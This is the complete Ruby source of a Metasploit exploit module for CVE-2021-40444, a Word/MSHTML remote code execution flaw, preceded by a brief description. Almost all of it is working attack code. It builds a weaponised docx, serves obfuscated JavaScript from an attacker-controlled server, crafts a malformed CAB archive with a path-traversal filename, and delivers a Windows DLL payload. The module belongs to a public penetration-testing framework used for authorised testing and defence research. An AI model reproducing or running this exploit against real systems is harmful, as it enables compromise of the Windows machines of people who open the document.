This Metasploit module creates a malicious docx file that when opened in Word on a vulnerable Windows system will lead to code execution. This vulnerability exists because an attacker can craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine.
950d0214377d16512d5d7d9de198ebbc
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Office Word Malicious MSHTML RCE',
'Description' => %q{
This module creates a malicious docx file that when opened in Word on a vulnerable Windows
system will lead to code execution. This vulnerability exists because an attacker can
craft a malicious ActiveX control to be used by a Microsoft Office document that hosts
the browser rendering engine.
},
'References' => [
['CVE', '2021-40444'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'],
['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'],
['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'],
['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'],
['URL', 'https://github.com/klezVirus/CVE-2021-40444']
],
'Author' => [
'lockedbyte ', # Vulnerability discovery.
'klezVirus ', # References and PoC.
'thesunRider', # Official Metasploit module.
'mekhalleh (RAMELLA Sébastien)' # Zeop-CyberSecurity - code base contribution and refactoring.
],
'DisclosureDate' => '2021-09-23',
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'win',
'Arch' => [ARCH_X64],
'Payload' => {
'DisableNops' => true
},
'DefaultOptions' => {
'FILENAME' => 'msf.docx'
},
'Targets' => [
[
'Hosted', {}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [UNRELIABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
])
register_advanced_options([
OptPath.new('DocxTemplate', [ false, 'A DOCX file that will be used as a template to build the exploit.' ]),
])
end
def bin_to_hex(bstr)
return(bstr.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join)
end
def cab_checksum(data, seed = "\x00\x00\x00\x00")
checksum = seed
bytes = ''
data.chars.each_slice(4).map(&:join).each do |dword|
if dword.length == 4
checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*')
else
bytes = dword
end
end
checksum = checksum.reverse
case (data.length % 4)
when 3
dword = "\x00#{bytes}"
when 2
dword = "\x00\x00#{bytes}"
when 1
dword = "\x00\x00\x00#{bytes}"
else
dword = "\x00\x00\x00\x00"
end
checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*').reverse
end
# http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf
def create_cab(data)
cab_cfdata = ''
filename = "../#{File.basename(@my_resources.first)}.inf"
block_size = 32768
struct_cffile = 0xd
struct_cfheader = 0x30
block_counter = 0
data.chars.each_slice(block_size).map(&:join).each do |block|
block_counter += 1
seed = "#{[block.length].pack('S')}#{[block.length].pack('S')}"
csum = cab_checksum(block, seed)
vprint_status("Data block added w/ checksum: #{bin_to_hex(csum)}")
cab_cfdata << csum # uint32 {4} - Checksum
cab_cfdata << [block.length].pack('S') # uint16 {2} - Compressed Data Length
cab_cfdata << [block.length].pack('S') # uint16 {2} - Uncompressed Data Length
cab_cfdata << block
end
cab_size = [
struct_cfheader +
struct_cffile +
filename.length +
cab_cfdata.length
].pack('L<')
# CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB)
cab_header = "\x4D\x53\x43\x46" # uint32 {4} - Header (MSCF)
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)
cab_header << cab_size # uint32 {4} - Archive Length
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)
cab_header << "\x2C\x00\x00\x00" # uint32 {4} - Offset to the first CFFILE
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)
cab_header << "\x03" # byte {1} - Minor Version (3)
cab_header << "\x01" # byte {1} - Major Version (1)
cab_header << "\x01\x00" # uint16 {2} - Number of Folders
cab_header << "\x01\x00" # uint16 {2} - Number of Files
cab_header << "\x00\x00" # uint16 {2} - Flags
cab_header << "\xD2\x04" # uint16 {2} - Cabinet Set ID Number
cab_header << "\x00\x00" # uint16 {2} - Sequential Number of this Cabinet file in a Set
# CFFOLDER
cab_header << [ # uint32 {4} - Offset to the first CFDATA in this Folder
struct_cfheader +
struct_cffile +
filename.length
].pack('L<')
cab_header << [block_counter].pack('S<') # uint16 {2} - Number of CFDATA blocks in this Folder
cab_header << "\x00\x00" # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP)
# increase file size to trigger vulnerability
cab_header << [ # uint32 {4} - Uncompressed File Length ("\x02\x00\x5C\x41")
data.length + 1073741824
].pack('L<')
# set current date and time in the format of cab file
date_time = Time.new
date = [((date_time.year - 1980) << 9) + (date_time.month << 5) + date_time.day].pack('S')
time = [(date_time.hour << 11) + (date_time.min << 5) + (date_time.sec / 2)].pack('S')
# CFFILE
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder)
cab_header << "\x00\x00" # uint16 {2} - Folder ID (starts at 0)
cab_header << date # uint16 {2} - File Date (\x5A\x53)
cab_header << time # uint16 {2} - File Time (\xC3\x5C)
cab_header << "\x20\x00" # uint16 {2} - File Attributes
cab_header << filename # byte {X} - Filename (ASCII)
cab_header << "\x00" # byte {1} - null Filename Terminator
cab_stream = cab_header
# CFDATA
cab_stream << cab_cfdata
end
def generate_html
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab"
inf = "#{File.basename(@my_resources.first)}.inf"
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js')
js_content = ::File.binread(file_path)
js_content.gsub!('REPLACE_INF', inf)
js_content.gsub!('REPLACE_URI', uri)
if datastore['OBFUSCATE']
print_status('Obfuscate JavaScript content')
js_content = Rex::Exploitation::JSObfu.new js_content
js_content = js_content.obfuscate(memory_sensitive: false)
end
html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'
html += js_content.to_s
html += '</script></body></html>'
html
end
def get_file_in_docx(fname)
i = @docx.find_index { |item| item[:fname] == fname }
unless i
fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
end
@docx.fetch(i)[:data]
end
def get_template_path
datastore['DocxTemplate'] || File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve-2021-40444.docx')
end
def inject_docx
document_xml = get_file_in_docx('word/document.xml')
unless document_xml
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
end
document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
unless document_xml_rels
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
end
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
@docx.each do |entry|
case entry[:fname]
when 'word/document.xml'
entry[:data] = document_xml.to_s.gsub!('TARGET_HERE', uri.to_s)
when 'word/_rels/document.xml.rels'
entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "mhtml:#{uri}!x-usc:#{uri}")
end
end
end
def normalize_uri(*strs)
new_str = strs * '/'
new_str = new_str.gsub!('//', '/') while new_str.index('//')
# makes sure there's a starting slash
unless new_str[0, 1] == '/'
new_str = '/' + new_str
end
new_str
end
def on_request_uri(cli, request)
header_cab = {
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS',
'Cache-Control' => 'no-store, no-cache, must-revalidate',
'Content-Type' => 'application/octet-stream',
'Content-Disposition' => "attachment; filename=#{File.basename(@my_resources.first)}.cab"
}
header_html = {
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'GET, POST',
'Cache-Control' => 'no-store, no-cache, must-revalidate',
'Content-Type' => 'text/html; charset=UTF-8'
}
if request.method.eql? 'HEAD'
if request.raw_uri.to_s.end_with? '.cab'
send_response(cli, '', header_cab)
else
send_response(cli, '', header_html)
end
elsif request.method.eql? 'OPTIONS'
response = create_response(501, 'Unsupported Method')
response['Content-Type'] = 'text/html'
response.body = ''
cli.send_response(response)
elsif request.raw_uri.to_s.end_with? '.html'
print_status('Sending HTML Payload')
send_response_html(cli, generate_html, header_html)
elsif request.raw_uri.to_s.end_with? '.cab'
print_status('Sending CAB Payload')
send_response(cli, create_cab(@dll_payload), header_cab)
end
end
def pack_docx
@docx.each do |entry|
if entry[:data].is_a?(Nokogiri::XML::Document)
entry[:data] = entry[:data].to_s
end
end
Msf::Util::EXE.to_zip(@docx)
end
def unpack_docx(template_path)
document = []
Zip::File.open(template_path) do |entries|
entries.each do |entry|
if entry.name.match(/\.xml|\.rels$/i)
content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?
elsif entry.file?
content = entry.get_input_stream.read
end
vprint_status("Parsing item from template: #{entry.name}")
document << { fname: entry.name, data: content }
end
end
document
end
def primer
print_status('CVE-2021-40444: Generate a malicious docx file')
@proto = (datastore['SSL'] ? 'https' : 'http')
if datastore['SRVHOST'] == '0.0.0.0'
datastore['SRVHOST'] = Rex::Socket.source_address
end
template_path = get_template_path
unless File.extname(template_path).match(/\.docx$/i)
fail_with(Failure::BadConfig, 'Template is not a docx file!')
end
print_status("Using template '#{template_path}'")
@docx = unpack_docx(template_path)
print_status('Injecting payload in docx document')
inject_docx
print_status("Finalizing docx '#{datastore['FILENAME']}'")
file_create(pack_docx)
@dll_payload = Msf::Util::EXE.to_win64pe_dll(
framework,
payload.encoded,
{
arch: payload.arch.first,
mixed_mode: true,
platform: 'win'
}
)
end
end